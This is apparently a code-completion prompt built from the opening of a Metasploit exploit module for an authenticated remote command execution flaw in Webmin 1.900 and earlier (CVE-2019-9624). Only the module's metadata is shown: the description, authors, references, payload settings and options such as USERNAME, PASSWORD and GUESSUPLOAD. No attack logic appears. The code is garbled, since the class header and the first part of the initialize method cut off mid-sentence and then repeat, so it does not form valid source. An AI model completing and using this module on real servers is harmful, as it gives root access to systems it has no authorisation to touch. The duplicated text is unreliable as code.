You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: webmin_upload_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin Upload Authenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.900 and lower versions. Any user authorized to the "Upload and Download"
        module can execute arbitrary commands with root privileges.

        In addition, if the 'Running Processes' (proc) privilege is set the user can
        accurately determine which directory to upload to. Webmin application files
        can be written/overwritten, which allows remote code execution. The module
        has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

        Using GUESSUPLOAD attempts to use a default installation 
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin Upload Authenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.900 and lower versions. Any user authorized to the "Upload and Download"
        module can execute arbitrary commands with root privileges.

        In addition, if the 'Running Processes' (proc) privilege is set the user can
        accurately determine which directory to upload to. Webmin application files
        can be written/overwritten, which allows remote code execution. The module
        has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

        Using GUESSUPLOAD attempts to use a default installation path in order to
        trigger the exploit.
      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>',                  # Vulnerability Discovery, Initial PoC module
        'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-9624'],
          ['EDB', '46201'],
          ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => true
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.900', {}]],
      'DisclosureDate' => '2019-01-17',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('FILENAME',  [false, 'Filename used for the uploaded data']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end